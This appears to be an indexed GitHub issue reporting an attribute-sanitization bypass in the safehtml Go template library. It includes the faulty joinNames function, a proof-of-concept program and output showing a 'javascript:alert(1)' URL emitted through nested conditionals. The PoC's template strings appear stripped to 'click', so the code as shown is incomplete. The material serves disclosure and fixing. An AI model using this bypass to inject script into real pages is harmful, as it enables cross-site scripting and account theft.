safehtml/template: joinNames discards one branch's accumulated attribute names, so a nested conditional attribute name skips sanitization
- Dominant language
- Go
- Stars
- 380
- Forks
- 23
- PR merge metrics
- No merged PRs in 30d
Description
When an attribute name is selected by a conditional, safehtml gathers every name the attribute could take and requires all of them to agree on a sanitization context. joinNames (template/escape.go:367) builds that set and never appends aNames:
```
func joinNames(aName, bName string, aNames, bNames []string) []string {
var ret []string
if aName != bName {
ret = append(ret, aName, bName)
}
aNamesSet := make(map[string]bool)
for _, name := range aNames {
aNamesSet[name] = true
}
for _, name := range bNames {
if !aNamesSet[name] {
ret = append(ret, name)
}
}
return ret
}
```
aNames is read into aNamesSet only to deduplicate bNames, then dropped. While the branches are one level deep aNames is empty and nothing is lost. As soon as one branch is itself a conditional, the names that branch accumulated disappear, and sanitizersForAttributeValue (template/sanitize.go:51) validates a set that no longer contains the dangerous name.
The one level form of the template below is rejected by design, with an error that names both contracts. Wrapping the same two attribute names in one more {{if}} makes it compile and emit a javascript: URL.
Minimal PoC against current safehtml:
```
mkdir poc && cd poc
go mod init poc
go get github.com/google/safehtml@v0.1.0
# save the file below as main.go
go run .
```
```
package main
import (
"fmt"
"strings"
"github.com/google/safehtml/template"
)
func render(label string, t *template.Template, err error) {
if err != nil {
fmt.Printf("%-11s parse rejected: %v\n", label, err)
return
}
var out strings.Builder
if err := t.Execute(&out, map[string]interface{}{
"A": true, "B": true, "X": "javascript:alert(1)",
}); err != nil {
fmt.Printf("%-11s rejected: %v\n", label, err)
return
}
fmt.Printf("%-11s %s\n", label, out.String())
}
func main() {
a, aerr := template.New("one-level").Parse(
`click`)
render("one level:", a, aerr)
b, berr := template.New("two-level").Parse(
`click`)
render("two levels:", b, berr)
}
```
Actual output:
```
one level: rejected: html/template:one-level:1:40: cannot escape action {{.X}}: conditional branches end in different attribute value sanitization contexts: {element="a", attribute="href"} has sanitization context "TrustedResourceURLOrURL", {element="a", attribute="title"} has sanitization context "None"
two levels: click
```
The rejection in the first line is the proof that the check is meant to fire for this template. The second line is a constant template plus hostile Execute data producing an executable href, with no unchecked conversion anywhere.
### Attack scenario
A remote attacker who can control data rendered into a conditionally selected attribute can exploit this when the template uses nested conditionals that may produce both URL and non-URL attributes. Successful exploitation bypasses URL sanitization and can emit a javascript: link, resulting in same-origin JavaScript execution if a victim clicks it, potentially enabling data theft or account compromise.
Contributor guide
Research direction
Start with joinNames in template/escape.go:367 and follow how its result reaches sanitizersForAttributeValue in template/sanitize.go:51. Reproduce the one-level and nested-conditional examples from the issue, then verify that the nested case no longer emits a javascript: URL and that the intended sanitization error is preserved.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- go
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 78/100